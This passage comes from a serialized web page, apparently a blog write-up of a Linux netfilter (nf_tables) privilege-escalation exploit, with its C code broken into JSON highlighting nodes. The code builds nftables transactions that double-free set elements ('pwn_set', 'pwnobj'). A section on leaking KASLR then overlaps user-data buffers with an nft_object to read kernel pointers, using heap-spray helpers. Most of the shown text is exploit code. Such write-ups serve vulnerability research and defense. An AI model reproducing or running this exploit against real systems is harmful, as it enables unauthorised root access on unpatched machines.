mnl_socket",{"type":24,"tag":327,"props":61004,"children":61005},{"style":334},[61006],{"type":29,"value":17364},{"type":24,"tag":327,"props":61008,"children":61009},{"style":356},[61010],{"type":29,"value":61011},"nl",{"type":24,"tag":327,"props":61013,"children":61014},{"style":346},[61015],{"type":29,"value":2744},{"type":24,"tag":327,"props":61017,"children":61018},{"style":334},[61019],{"type":29,"value":61020},"size_t",{"type":24,"tag":327,"props":61022,"children":61023},{"style":356},[61024],{"type":29,"value":61025}," size",{"type":24,"tag":327,"props":61027,"children":61028},{"style":346},[61029],{"type":29,"value":2744},{"type":24,"tag":327,"props":61031,"children":61032},{"style":334},[61033],{"type":29,"value":337},{"type":24,"tag":327,"props":61035,"children":61036},{"style":334},[61037],{"type":29,"value":17364},{"type":24,"tag":327,"props":61039,"children":61040},{"style":356},[61041],{"type":29,"value":61042},"msgqids",{"type":24,"tag":327,"props":61044,"children":61045},{"style":346},[61046],{"type":29,"value":852},{"type":24,"tag":327,"props":61048,"children":61049},{"class":329,"line":408},[61050],{"type":24,"tag":327,"props":61051,"children":61052},{"style":346},[61053],{"type":29,"value":18427},{"type":24,"tag":327,"props":61055,"children":61056},{"class":329,"line":421},[61057],{"type":24,"tag":327,"props":61058,"children":61059},{"style":346},[61060],{"type":29,"value":17865},{"type":24,"tag":327,"props":61062,"children":61063},{"class":329,"line":450},[61064],{"type":24,"tag":327,"props":61065,"children":61066},{"style":346},[61067],{"type":29,"value":61068},"    // TRANSACTION 2\n",{"type":24,"tag":327,"props":61070,"children":61071},{"class":329,"line":481},[61072],{"type":24,"tag":327,"props":61073,"children":61074},{"style":346},[61075],{"type":29,"value":17865},{"type":24,"tag":327,"props":61077,"children":61078},{"class":329,"line":500},[61079],{"type":24,"tag":327,"props":61080,"children":61081},{"emptyLinePlaceholder":16},[61082],{"type":29,"value":544},{"type":24,"tag":327,"props":61084,"children":61085},{"class":329,"line":529},[61086],{"type":24,"tag":327,"props":61087,"children":61088},{"style":346},[61089],{"type":29,"value":61090},"    // create pipapo set\n",{"type":24,"tag":327,"props":61092,"children":61093},{"class":329,"line":538},[61094,61099,61103,61107,61111],{"type":24,"tag":327,"props":61095,"children":61096},{"style":346},[61097],{"type":29,"value":61098},"    uint8_t desc[2] = {",{"type":24,"tag":327,"props":61100,"children":61101},{"style":397},[61102],{"type":29,"value":47561},{"type":24,"tag":327,"props":61104,"children":61105},{"style":346},[61106],{"type":29,"value":2744},{"type":24,"tag":327,"props":61108,"children":61109},{"style":397},[61110],{"type":29,"value":47561},{"type":24,"tag":327,"props":61112,"children":61113},{"style":346},[61114],{"type":29,"value":24092},{"type":24,"tag":327,"props":61116,"children":61117},{"class":329,"line":547},[61118,61123,61127,61132],{"type":24,"tag":327,"props":61119,"children":61120},{"style":346},[61121],{"type":29,"value":61122},"    set ",{"type":24,"tag":327,"props":61124,"children":61125},{"style":381},[61126],{"type":29,"value":384},{"type":24,"tag":327,"props":61128,"children":61129},{"style":340},[61130],{"type":29,"value":61131}," create_set",{"type":24,"tag":327,"props":61133,"children":61134},{"style":346},[61135],{"type":29,"value":4663},{"type":24,"tag":327,"props":61137,"children":61138},{"class":329,"line":557},[61139,61144,61148,61153,61158,61162,61166],{"type":24,"tag":327,"props":61140,"children":61141},{"style":346},[61142],{"type":29,"value":61143},"        batch, seq",{"type":24,"tag":327,"props":61145,"children":61146},{"style":381},[61147],{"type":29,"value":57990},{"type":24,"tag":327,"props":61149,"children":61150},{"style":346},[61151],{"type":29,"value":61152},", exploit_table_name, ",{"type":24,"tag":327,"props":61154,"children":61155},{"style":844},[61156],{"type":29,"value":61157},"\"pwn_set\"",{"type":24,"tag":327,"props":61159,"children":61160},{"style":346},[61161],{"type":29,"value":2744},{"type":24,"tag":327,"props":61163,"children":61164},{"style":397},[61165],{"type":29,"value":50218},{"type":24,"tag":327,"props":61167,"children":61168},{"style":346},[61169],{"type":29,"value":2231},{"type":24,"tag":327,"props":61171,"children":61172},{"class":329,"line":586},[61173,61178,61182,61187,61191,61196,61200,61204,61208,61213,61218,61222,61226],{"type":24,"tag":327,"props":61174,"children":61175},{"style":346},[61176],{"type":29,"value":61177},"        NFT_SET_INTERVAL ",{"type":24,"tag":327,"props":61179,"children":61180},{"style":381},[61181],{"type":29,"value":17963},{"type":24,"tag":327,"props":61183,"children":61184},{"style":346},[61185],{"type":29,"value":61186}," NFT_SET_OBJECT ",{"type":24,"tag":327,"props":61188,"children":61189},{"style":381},[61190],{"type":29,"value":17963},{"type":24,"tag":327,"props":61192,"children":61193},{"style":346},[61194],{"type":29,"value":61195}," NFT_SET_CONCAT, KEY_LEN, ",{"type":24,"tag":327,"props":61197,"children":61198},{"style":397},[61199],{"type":29,"value":10731},{"type":24,"tag":327,"props":61201,"children":61202},{"style":346},[61203],{"type":29,"value":2744},{"type":24,"tag":327,"props":61205,"children":61206},{"style":381},[61207],{"type":29,"value":8716},{"type":24,"tag":327,"props":61209,"children":61210},{"style":346},[61211],{"type":29,"value":61212},"desc, ",{"type":24,"tag":327,"props":61214,"children":61215},{"style":334},[61216],{"type":29,"value":61217},"NULL",{"type":24,"tag":327,"props":61219,"children":61220},{"style":346},[61221],{"type":29,"value":2744},{"type":24,"tag":327,"props":61223,"children":61224},{"style":397},[61225],{"type":29,"value":2988},{"type":24,"tag":327,"props":61227,"children":61228},{"style":346},[61229],{"type":29,"value":61230},", NFT_OBJECT_CT_EXPECT);\n",{"type":24,"tag":327,"props":61232,"children":61233},{"class":329,"line":1017},[61234],{"type":24,"tag":327,"props":61235,"children":61236},{"emptyLinePlaceholder":16},[61237],{"type":29,"value":544},{"type":24,"tag":327,"props":61239,"children":61240},{"class":329,"line":1026},[61241],{"type":24,"tag":327,"props":61242,"children":61243},{"style":551},[61244],{"type":29,"value":61245},"    // commit 2 elems to set (elems A and B that will be double-freed)\n",{"type":24,"tag":327,"props":61247,"children":61248},{"class":329,"line":1048},[61249,61253,61257,61261,61266,61270,61274,61278,61282,61286,61290,61294],{"type":24,"tag":327,"props":61250,"children":61251},{"style":425},[61252],{"type":29,"value":10643},{"type":24,"tag":327,"props":61254,"children":61255},{"style":346},[61256],{"type":29,"value":5894},{"type":24,"tag":327,"props":61258,"children":61259},{"style":334},[61260],{"type":29,"value":337},{"type":24,"tag":327,"props":61262,"children":61263},{"style":346},[61264],{"type":29,"value":61265}," i ",{"type":24,"tag":327,"props":61267,"children":61268},{"style":381},[61269],{"type":29,"value":384},{"type":24,"tag":327,"props":61271,"children":61272},{"style":397},[61273],{"type":29,"value":6695},{"type":24,"tag":327,"props":61275,"children":61276},{"style":346},[61277],{"type":29,"value":57954},{"type":24,"tag":327,"props":61279,"children":61280},{"style":381},[61281],{"type":29,"value":1596},{"type":24,"tag":327,"props":61283,"children":61284},{"style":397},[61285],{"type":29,"value":474},{"type":24,"tag":327,"props":61287,"children":61288},{"style":346},[61289],{"type":29,"value":57985},{"type":24,"tag":327,"props":61291,"children":61292},{"style":381},[61293],{"type":29,"value":57990},{"type":24,"tag":327,"props":61295,"children":61296},{"style":346},[61297],{"type":29,"value":852},{"type":24,"tag":327,"props":61299,"children":61300},{"class":329,"line":1067},[61301],{"type":24,"tag":327,"props":61302,"children":61303},{"style":346},[61304],{"type":29,"value":35895},{"type":24,"tag":327,"props":61306,"children":61307},{"class":329,"line":1075},[61308,61313,61318,61322,61327],{"type":24,"tag":327,"props":61309,"children":61310},{"style":356},[61311],{"type":29,"value":61312},"        elem",{"type":24,"tag":327,"props":61314,"children":61315},{"style":346},[61316],{"type":29,"value":61317},"[i] ",{"type":24,"tag":327,"props":61319,"children":61320},{"style":381},[61321],{"type":29,"value":384},{"type":24,"tag":327,"props":61323,"children":61324},{"style":340},[61325],{"type":29,"value":61326}," nftnl_set_elem_alloc",{"type":24,"tag":327,"props":61328,"children":61329},{"style":346},[61330],{"type":29,"value":4838},{"type":24,"tag":327,"props":61332,"children":61333},{"class":329,"line":1084},[61334,61339,61344,61349,61353],{"type":24,"tag":327,"props":61335,"children":61336},{"style":340},[61337],{"type":29,"value":61338},"        memset",{"type":24,"tag":327,"props":61340,"children":61341},{"style":346},[61342],{"type":29,"value":61343},"(key, ",{"type":24,"tag":327,"props":61345,"children":61346},{"style":397},[61347],{"type":29,"value":61348},"0x41",{"type":24,"tag":327,"props":61350,"children":61351},{"style":381},[61352],{"type":29,"value":4407},{"type":24,"tag":327,"props":61354,"children":61355},{"style":346},[61356],{"type":29,"value":61357}," i, KEY_LEN);\n",{"type":24,"tag":327,"props":61359,"children":61360},{"class":329,"line":1100},[61361,61366,61370,61374,61379,61384,61388,61393],{"type":24,"tag":327,"props":61362,"children":61363},{"style":340},[61364],{"type":29,"value":61365},"        nftnl_set_elem_set",{"type":24,"tag":327,"props":61367,"children":61368},{"style":346},[61369],{"type":29,"value":349},{"type":24,"tag":327,"props":61371,"children":61372},{"style":356},[61373],{"type":29,"value":58785},{"type":24,"tag":327,"props":61375,"children":61376},{"style":346},[61377],{"type":29,"value":61378},"[i], NFTNL_SET_ELEM_OBJREF, ",{"type":24,"tag":327,"props":61380,"children":61381},{"style":844},[61382],{"type":29,"value":61383},"\"pwnobj\"",{"type":24,"tag":327,"props":61385,"children":61386},{"style":346},[61387],{"type":29,"value":2744},{"type":24,"tag":327,"props":61389,"children":61390},{"style":397},[61391],{"type":29,"value":61392},"7",{"type":24,"tag":327,"props":61394,"children":61395},{"style":346},[61396],{"type":29,"value":583},{"type":24,"tag":327,"props":61398,"children":61399},{"class":329,"line":1128},[61400,61404,61408,61412,61417,61421],{"type":24,"tag":327,"props":61401,"children":61402},{"style":340},[61403],{"type":29,"value":61365},{"type":24,"tag":327,"props":61405,"children":61406},{"style":346},[61407],{"type":29,"value":349},{"type":24,"tag":327,"props":61409,"children":61410},{"style":356},[61411],{"type":29,"value":58785},{"type":24,"tag":327,"props":61413,"children":61414},{"style":346},[61415],{"type":29,"value":61416},"[i], NFTNL_SET_ELEM_KEY, ",{"type":24,"tag":327,"props":61418,"children":61419},{"style":381},[61420],{"type":29,"value":8716},{"type":24,"tag":327,"props":61422,"children":61423},{"style":346},[61424],{"type":29,"value":61425},"key, KEY_LEN);\n",{"type":24,"tag":327,"props":61427,"children":61428},{"class":329,"line":1148},[61429,61433,61437,61441,61446,61450],{"type":24,"tag":327,"props":61430,"children":61431},{"style":340},[61432],{"type":29,"value":61365},{"type":24,"tag":327,"props":61434,"children":61435},{"style":346},[61436],{"type":29,"value":349},{"type":24,"tag":327,"props":61438,"children":61439},{"style":356},[61440],{"type":29,"value":58785},{"type":24,"tag":327,"props":61442,"children":61443},{"style":346},[61444],{"type":29,"value":61445},"[i], NFTNL_SET_ELEM_USERDATA, ",{"type":24,"tag":327,"props":61447,"children":61448},{"style":381},[61449],{"type":29,"value":8716},{"type":24,"tag":327,"props":61451,"children":61452},{"style":346},[61453],{"type":29,"value":61454},"udata_buf, size);\n",{"type":24,"tag":327,"props":61456,"children":61457},{"class":329,"line":1176},[61458,61463,61468,61472],{"type":24,"tag":327,"props":61459,"children":61460},{"style":340},[61461],{"type":29,"value":61462},"        nftnl_set_elem_add",{"type":24,"tag":327,"props":61464,"children":61465},{"style":346},[61466],{"type":29,"value":61467},"(set, ",{"type":24,"tag":327,"props":61469,"children":61470},{"style":356},[61471],{"type":29,"value":58785},{"type":24,"tag":327,"props":61473,"children":61474},{"style":346},[61475],{"type":29,"value":61476},"[i]);\n",{"type":24,"tag":327,"props":61478,"children":61479},{"class":329,"line":1184},[61480],{"type":24,"tag":327,"props":61481,"children":61482},{"style":346},[61483],{"type":29,"value":535},{"type":24,"tag":327,"props":61485,"children":61486},{"class":329,"line":1192},[61487],{"type":24,"tag":327,"props":61488,"children":61489},{"style":346},[61490],{"type":29,"value":17865},{"type":24,"tag":327,"props":61492,"children":61493},{"class":329,"line":1212},[61494],{"type":24,"tag":327,"props":61495,"children":61496},{"emptyLinePlaceholder":16},[61497],{"type":29,"value":544},{"type":24,"tag":327,"props":61499,"children":61500},{"class":329,"line":4841},[61501],{"type":24,"tag":327,"props":61502,"children":61503},{"style":346},[61504],{"type":29,"value":61505},"    // TRANSACTION 3\n",{"type":24,"tag":327,"props":61507,"children":61508},{"class":329,"line":4862},[61509],{"type":24,"tag":327,"props":61510,"children":61511},{"style":346},[61512],{"type":29,"value":17865},{"type":24,"tag":327,"props":61514,"children":61515},{"class":329,"line":4870},[61516],{"type":24,"tag":327,"props":61517,"children":61518},{"style":346},[61519],{"type":29,"value":61520},"    set = nftnl_set_alloc();\n",{"type":24,"tag":327,"props":61522,"children":61523},{"class":329,"line":4879},[61524,61529],{"type":24,"tag":327,"props":61525,"children":61526},{"style":340},[61527],{"type":29,"value":61528},"    nftnl_set_set_u32",{"type":24,"tag":327,"props":61530,"children":61531},{"style":346},[61532],{"type":29,"value":61533},"(set, NFTNL_SET_FAMILY, family);\n",{"type":24,"tag":327,"props":61535,"children":61536},{"class":329,"line":4913},[61537,61542],{"type":24,"tag":327,"props":61538,"children":61539},{"style":340},[61540],{"type":29,"value":61541},"    nftnl_set_set_str",{"type":24,"tag":327,"props":61543,"children":61544},{"style":346},[61545],{"type":29,"value":61546},"(set, NFTNL_SET_TABLE, exploit_table_name);\n",{"type":24,"tag":327,"props":61548,"children":61549},{"class":329,"line":4938},[61550,61554,61559,61563],{"type":24,"tag":327,"props":61551,"children":61552},{"style":340},[61553],{"type":29,"value":61541},{"type":24,"tag":327,"props":61555,"children":61556},{"style":346},[61557],{"type":29,"value":61558},"(set, NFTNL_SET_NAME, ",{"type":24,"tag":327,"props":61560,"children":61561},{"style":844},[61562],{"type":29,"value":61157},{"type":24,"tag":327,"props":61564,"children":61565},{"style":346},[61566],{"type":29,"value":583},{"type":24,"tag":327,"props":61568,"children":61569},{"class":329,"line":4974},[61570],{"type":24,"tag":327,"props":61571,"children":61572},{"emptyLinePlaceholder":16},[61573],{"type":29,"value":544},{"type":24,"tag":327,"props":61575,"children":61576},{"class":329,"line":4982},[61577],{"type":24,"tag":327,"props":61578,"children":61579},{"style":551},[61580],{"type":29,"value":61581},"    // make priv->dirty true\n",{"type":24,"tag":327,"props":61583,"children":61584},{"class":329,"line":4990},[61585,61590,61594,61599],{"type":24,"tag":327,"props":61586,"children":61587},{"style":340},[61588],{"type":29,"value":61589},"    memset",{"type":24,"tag":327,"props":61591,"children":61592},{"style":346},[61593],{"type":29,"value":61343},{"type":24,"tag":327,"props":61595,"children":61596},{"style":397},[61597],{"type":29,"value":61598},"0xff",{"type":24,"tag":327,"props":61600,"children":61601},{"style":346},[61602],{"type":29,"value":61603},", KEY_LEN);\n",{"type":24,"tag":327,"props":61605,"children":61606},{"class":329,"line":4999},[61607,61612,61616,61620,61624,61628,61632],{"type":24,"tag":327,"props":61608,"children":61609},{"style":356},[61610],{"type":29,"value":61611},"    elem",{"type":24,"tag":327,"props":61613,"children":61614},{"style":346},[61615],{"type":29,"value":11329},{"type":24,"tag":327,"props":61617,"children":61618},{"style":397},[61619],{"type":29,"value":24805},{"type":24,"tag":327,"props":61621,"children":61622},{"style":346},[61623],{"type":29,"value":16221},{"type":24,"tag":327,"props":61625,"children":61626},{"style":381},[61627],{"type":29,"value":384},{"type":24,"tag":327,"props":61629,"children":61630},{"style":340},[61631],{"type":29,"value":61326},{"type":24,"tag":327,"props":61633,"children":61634},{"style":346},[61635],{"type":29,"value":4838},{"type":24,"tag":327,"props":61637,"children":61638},{"class":329,"line":5042},[61639,61644,61648,61652,61656,61660,61665,61669,61673,61677],{"type":24,"tag":327,"props":61640,"children":61641},{"style":340},[61642],{"type":29,"value":61643},"    nftnl_set_elem_set",{"type":24,"tag":327,"props":61645,"children":61646},{"style":346},[61647],{"type":29,"value":349},{"type":24,"tag":327,"props":61649,"children":61650},{"style":356},[61651],{"type":29,"value":58785},{"type":24,"tag":327,"props":61653,"children":61654},{"style":346},[61655],{"type":29,"value":11329},{"type":24,"tag":327,"props":61657,"children":61658},{"style":397},[61659],{"type":29,"value":24805},{"type":24,"tag":327,"props":61661,"children":61662},{"style":346},[61663],{"type":29,"value":61664},"], NFTNL_SET_ELEM_OBJREF, ",{"type":24,"tag":327,"props":61666,"children":61667},{"style":844},[61668],{"type":29,"value":61383},{"type":24,"tag":327,"props":61670,"children":61671},{"style":346},[61672],{"type":29,"value":2744},{"type":24,"tag":327,"props":61674,"children":61675},{"style":397},[61676],{"type":29,"value":61392},{"type":24,"tag":327,"props":61678,"children":61679},{"style":346},[61680],{"type":29,"value":583},{"type":24,"tag":327,"props":61682,"children":61683},{"class":329,"line":5075},[61684,61688,61692,61696,61700,61704,61709,61713],{"type":24,"tag":327,"props":61685,"children":61686},{"style":340},[61687],{"type":29,"value":61643},{"type":24,"tag":327,"props":61689,"children":61690},{"style":346},[61691],{"type":29,"value":349},{"type":24,"tag":327,"props":61693,"children":61694},{"style":356},[61695],{"type":29,"value":58785},{"type":24,"tag":327,"props":61697,"children":61698},{"style":346},[61699],{"type":29,"value":11329},{"type":24,"tag":327,"props":61701,"children":61702},{"style":397},[61703],{"type":29,"value":24805},{"type":24,"tag":327,"props":61705,"children":61706},{"style":346},[61707],{"type":29,"value":61708},"], NFTNL_SET_ELEM_KEY, ",{"type":24,"tag":327,"props":61710,"children":61711},{"style":381},[61712],{"type":29,"value":8716},{"type":24,"tag":327,"props":61714,"children":61715},{"style":346},[61716],{"type":29,"value":61425},{"type":24,"tag":327,"props":61718,"children":61719},{"class":329,"line":5083},[61720,61725,61729,61733,61737,61741],{"type":24,"tag":327,"props":61721,"children":61722},{"style":340},[61723],{"type":29,"value":61724},"    nftnl_set_elem_add",{"type":24,"tag":327,"props":61726,"children":61727},{"style":346},[61728],{"type":29,"value":61467},{"type":24,"tag":327,"props":61730,"children":61731},{"style":356},[61732],{"type":29,"value":58785},{"type":24,"tag":327,"props":61734,"children":61735},{"style":346},[61736],{"type":29,"value":11329},{"type":24,"tag":327,"props":61738,"children":61739},{"style":397},[61740],{"type":29,"value":24805},{"type":24,"tag":327,"props":61742,"children":61743},{"style":346},[61744],{"type":29,"value":11348},{"type":24,"tag":327,"props":61746,"children":61747},{"class":329,"line":5091},[61748],{"type":24,"tag":327,"props":61749,"children":61750},{"style":346},[61751],{"type":29,"value":17865},{"type":24,"tag":327,"props":61753,"children":61754},{"class":329,"line":5100},[61755],{"type":24,"tag":327,"props":61756,"children":61757},{"emptyLinePlaceholder":16},[61758],{"type":29,"value":544},{"type":24,"tag":327,"props":61760,"children":61761},{"class":329,"line":5176},[61762],{"type":24,"tag":327,"props":61763,"children":61764},{"style":346},[61765],{"type":29,"value":61766},"    // double-free commited elems\n",{"type":24,"tag":327,"props":61768,"children":61769},{"class":329,"line":5209},[61770],{"type":24,"tag":327,"props":61771,"children":61772},{"style":346},[61773],{"type":29,"value":17865},{"type":24,"tag":327,"props":61775,"children":61776},{"class":329,"line":5217},[61777,61782,61786],{"type":24,"tag":327,"props":61778,"children":61779},{"style":346},[61780],{"type":29,"value":61781},"    nftnl_set_free(",{"type":24,"tag":327,"props":61783,"children":61784},{"style":1639},[61785],{"type":29,"value":57740},{"type":24,"tag":327,"props":61787,"children":61788},{"style":346},[61789],{"type":29,"value":583},{"type":24,"tag":327,"props":61791,"children":61792},{"class":329,"line":5225},[61793],{"type":24,"tag":327,"props":61794,"children":61795},{"style":346},[61796],{"type":29,"value":592},{"type":24,"tag":327,"props":61798,"children":61799},{"class":329,"line":5263},[61800],{"type":24,"tag":327,"props":61801,"children":61802},{"style":346},[61803],{"type":29,"value":17865},{"type":24,"tag":235,"props":61805,"children":61807},{"id":61806},"leaking-kaslr",[61808],{"type":29,"value":61809},"Leaking KASLR",{"type":24,"tag":25,"props":61811,"children":61812},{},[61813,61815,61821,61823,61828,61830,61836,61838,61844,61846],{"type":29,"value":61814},"Tables contain an outline user data buffer ",{"type":24,"tag":284,"props":61816,"children":61818},{"className":61817},[],[61819],{"type":29,"value":61820},"udata",{"type":29,"value":61822}," that we can both read and write. By allocating a ",{"type":24,"tag":284,"props":61824,"children":61826},{"className":61825},[],[61827],{"type":29,"value":61820},{"type":29,"value":61829}," buffer on the double-free slot and then overlapping it with an ",{"type":24,"tag":284,"props":61831,"children":61833},{"className":61832},[],[61834],{"type":29,"value":61835},"nft_object",{"type":29,"value":61837}," we can leak the ",{"type":24,"tag":284,"props":61839,"children":61841},{"className":61840},[],[61842],{"type":29,"value":61843},"->ops",{"type":29,"value":61845}," pointer, and use it to calculate the KASLR slide.\n",{"type":24,"tag":11511,"props":61847,"children":61849},{"alt":57299,"src":61848},"/posts/netfilter-universal-root-1-day/kaslr.png",[],{"type":24,"tag":317,"props":61851,"children":61853},{"className":35818,"code":61852,"language":35820,"meta":7,"style":7},"[...]\n    // spray 3 udata buffers to consume elems A, B and A again\n    udata_spray(nl, 0xe8, 0, 3, NULL);\n\n    // check if overlap happened (i.e if we have to overlapping udata buffers)\n    char spray_name[16];\n    char *udata[3];\n    for (int i = 0; i \u003C 3; i++)\n    {\n        snprintf(spray_name, sizeof(spray_name), \"spray-%i\", i);\n        udata[i] = getudata(nl, spray_name);\n    }\n    if (udata[0][0] == udata[2][0])\n    {\n        puts(\"[+] got duplicated table\");\n    }\n\n    // Replace one of the udata buffers with nft_object\n    // and read it's counterpart to leak the nft_object struct\n    puts(\"[*] Info leak\");\n    deludata_spray(nl, 0, 1);\n    wait_destroyer();\n    obj_spray(nl, 0, 1, NULL, 0);\n    uint64_t *fake_obj = (uint64_t *)getudata(nl, \"spray-2\");\n[...]\n",[61854],{"type":24,"tag":284,"props":61855,"children":61856},{"__ignoreMap":7},[61857,61864,61872,61907,61914,61922,61947,61974,62025,62032,62065,62091,62098,62163,62170,62191,62198,62205,62213,62221,62242,62271,62283,62327,62383],{"type":24,"tag":327,"props":61858,"children":61859},{"class":329,"line":330},[61860],{"type":24,"tag":327,"props":61861,"children":61862},{"style":346},[61863],{"type":29,"value":17865},{"type":24,"tag":327,"props":61865,"children":61866},{"class":329,"line":367},[61867],{"type":24,"tag":327,"props":61868,"children":61869},{"style":346},[61870],{"type":29,"value":61871},"    // spray 3 udata buffers to consume elems A, B and A again\n",{"type":24,"tag":327,"props":61873,"children":61874},{"class":329,"line":408},[61875,61880,61884,61889,61894,61899,61903],{"type":24,"tag":327,"props":61876,"children":61877},{"style":346},[61878],{"type":29,"value":61879},"    udata_spray(",{"type":24,"tag":327,"props":61881,"children":61882},{"style":1639},[61883],{"type":29,"value":61011},{"type":24,"tag":327,"props":61885,"children":61886},{"style":346},[61887],{"type":29,"value":61888},", 0",{"type":24,"tag":327,"props":61890,"children":61891},{"style":1639},[61892],{"type":29,"value":61893},"xe8",{"type":24,"tag":327,"props":61895,"children":61896},{"style":346},[61897],{"type":29,"value":61898},", 0, 3, ",{"type":24,"tag":327,"props":61900,"children":61901},{"style":1639},[61902],{"type":29,"value":61217},{"type":24,"tag":327,"props":61904,"children":61905},{"style":346},[61906],{"type":29,"value":583},{"type":24,"tag":327,"props":61908,"children":61909},{"class":329,"line":421},[61910],{"type":24,"tag":327,"props":61911,"children":61912},{"emptyLinePlaceholder":16},[61913],{"type":29,"value":544},{"type":24,"tag":327,"props":61915,"children":61916},{"class":329,"line":450},[61917],{"type":24,"tag":327,"props":61918,"children":61919},{"style":551},[61920],{"type":29,"value":61921},"    // check if overlap happened (i.e if we have to overlapping udata buffers)\n",{"type":24,"tag":327,"props":61923,"children":61924},{"class":329,"line":481},[61925,61930,61935,61939,61943],{"type":24,"tag":327,"props":61926,"children":61927},{"style":334},[61928],{"type":29,"value":61929},"    char",{"type":24,"tag":327,"props":61931,"children":61932},{"style":356},[61933],{"type":29,"value":61934}," spray_name",{"type":24,"tag":327,"props":61936,"children":61937},{"style":346},[61938],{"type":29,"value":11329},{"type":24,"tag":327,"props":61940,"children":61941},{"style":397},[61942],{"type":29,"value":47561},{"type":24,"tag":327,"props":61944,"children":61945},{"style":346},[61946],{"type":29,"value":38284},{"type":24,"tag":327,"props":61948,"children":61949},{"class":329,"line":500},[61950,61954,61958,61962,61966,61970],{"type":24,"tag":327,"props":61951,"children":61952},{"style":334},[61953],{"type":29,"value":61929},{"type":24,"tag":327,"props":61955,"children":61956},{"style":381},[61957],{"type":29,"value":17364},{"type":24,"tag":327,"props":61959,"children":61960},{"style":356},[61961],{"type":29,"value":61820},{"type":24,"tag":327,"props":61963,"children":61964},{"style":346},[61965],{"type":29,"value":11329},{"type":24,"tag":327,"props":61967,"children":61968},{"style":397},[61969],{"type":29,"value":24805},{"type":24,"tag":327,"props":61971,"children":61972},{"style":346},[61973],{"type":29,"value":38284},{"type":24,"tag":327,"props":61975,"children":61976},{"class":329,"line":529},[61977,61981,61985,61989,61993,61997,62001,62005,62009,62013,62017,62021],{"type":24,"tag":327,"props":61978,"children":61979},{"style":425},[61980],{"type":29,"value":10643},{"type":24,"tag":327,"props":61982,"children":61983},{"style":346},[61984],{"type":29,"value":5894},{"type":24,"tag":327,"props":61986,"children":61987},{"style":334},[61988],{"type":29,"value":337},{"type":24,"tag":327,"props":61990,"children":61991},{"style":346},[61992],{"type":29,"value":61265},{"type":24,"tag":327,"props":61994,"children":61995},{"style":381},[61996],{"type":29,"value":384},{"type":24,"tag":327,"props":61998,"children":61999},{"style":397},[62000],{"type":29,"value":6695},{"type":24,"tag":327,"props":62002,"children":62003},{"style":346},[62004],{"type":29,"value":57954},{"type":24,"tag":327,"props":62006,"children":62007},{"style":381},[62008],{"type":29,"value":1596},{"type":24,"tag":327,"props":62010,"children":62011},{"style":397},[62012],{"type":29,"value":400},{"type":24,"tag":327,"props":62014,"children":62015},{"style":346},[62016],{"type":29,"value":57985},{"type":24,"tag":327,"props":62018,"children":62019},{"style":381},[62020],{"type":29,"value":57990},{"type":24,"tag":327,"props":62022,"children":62023},{"style":346},[62024],{"type":29,"value":852},{"type":24,"tag":327,"props":62026,"children":62027},{"class":329,"line":538},[62028],{"type":24,"tag":327,"props":62029,"children":62030},{"style":346},[62031],{"type":29,"value":35895},{"type":24,"tag":327,"props":62033,"children":62034},{"class":329,"line":547},[62035,62040,62045,62050,62055,62060],{"type":24,"tag":327,"props":62036,"children":62037},{"style":340},[62038],{"type":29,"value":62039},"        snprintf",{"type":24,"tag":327,"props":62041,"children":62042},{"style":346},[62043],{"type":29,"value":62044},"(spray_name, ",{"type":24,"tag":327,"props":62046,"children":62047},{"style":334},[62048],{"type":29,"value":62049},"sizeof",{"type":24,"tag":327,"props":62051,"children":62052},{"style":346},[62053],{"type":29,"value":62054},"(spray_name), ",{"type":24,"tag":327,"props":62056,"children":62057},{"style":844},[62058],{"type":29,"value":62059},"\"spray-%i\"",{"type":24,"tag":327,"props":62061,"children":62062},{"style":346},[62063],{"type":29,"value":62064},", i);\n",{"type":24,"tag":327,"props":62066,"children":62067},{"class":329,"line":557},[62068,62073,62077,62081,62086],{"type":24,"tag":327,"props":62069,"children":62070},{"style":356},[62071],{"type":29,"value":62072},"        udata",{"type":24,"tag":327,"props":62074,"children":62075},{"style":346},[62076],{"type":29,"value":61317},{"type":24,"tag":327,"props":62078,"children":62079},{"style":381},[62080],{"type":29,"value":384},{"type":24,"tag":327,"props":62082,"children":62083},{"style":340},[62084],{"type":29,"value":62085}," getudata",{"type":24,"tag":327,"props":62087,"children":62088},{"style":346},[62089],{"type":29,"value":62090},"(nl, spray_name);\n",{"type":24,"tag":327,"props":62092,"children":62093},{"class":329,"line":586},[62094],{"type":24,"tag":327,"props":62095,"children":62096},{"style":346},[62097],{"type":29,"value":535},{"type":24,"tag":327,"props":62099,"children":62100},{"class":329,"line":1017},[62101,62105,62109,62113,62117,62121,62125,62129,62133,62137,62142,62146,62150,62154,62158],{"type":24,"tag":327,"props":62102,"children":62103},{"style":425},[62104],{"type":29,"value":428},{"type":24,"tag":327,"props":62106,"children":62107},{"style":346},[62108],{"type":29,"value":5894},{"type":24,"tag":327,"props":62110,"children":62111},{"style":356},[62112],{"type":29,"value":61820},{"type":24,"tag":327,"props":62114,"children":62115},{"style":346},[62116],{"type":29,"value":11329},{"type":24,"tag":327,"props":62118,"children":62119},{"style":397},[62120],{"type":29,"value":2988},{"type":24,"tag":327,"props":62122,"children":62123},{"style":346},[62124],{"type":29,"value":55678},{"type":24,"tag":327,"props":62126,"children":62127},{"style":397},[62128],{"type":29,"value":2988},{"type":24,"tag":327,"props":62130,"children":62131},{"style":346},[62132],{"type":29,"value":16221},{"type":24,"tag":327,"props":62134,"children":62135},{"style":381},[62136],{"type":29,"value":642},{"type":24,"tag":327,"props":62138,"children":62139},{"style":356},[62140],{"type":29,"value":62141}," udata",{"type":24,"tag":327,"props":62143,"children":62144},{"style":346},[62145],{"type":29,"value":11329},{"type":24,"tag":327,"props":62147,"children":62148},{"style":397},[62149],{"type":29,"value":10731},{"type":24,"tag":327,"props":62151,"children":62152},{"style":346},[62153],{"type":29,"value":55678},{"type":24,"tag":327,"props":62155,"children":62156},{"style":397},[62157],{"type":29,"value":2988},{"type":24,"tag":327,"props":62159,"children":62160},{"style":346},[62161],{"type":29,"value":62162},"])\n",{"type":24,"tag":327,"props":62164,"children":62165},{"class":329,"line":1026},[62166],{"type":24,"tag":327,"props":62167,"children":62168},{"style":346},[62169],{"type":29,"value":35895},{"type":24,"tag":327,"props":62171,"children":62172},{"class":329,"line":1048},[62173,62178,62182,62187],{"type":24,"tag":327,"props":62174,"children":62175},{"style":340},[62176],{"type":29,"value":62177},"        puts",{"type":24,"tag":327,"props":62179,"children":62180},{"style":346},[62181],{"type":29,"value":349},{"type":24,"tag":327,"props":62183,"children":62184},{"style":844},[62185],{"type":29,"value":62186},"\"[+] got duplicated 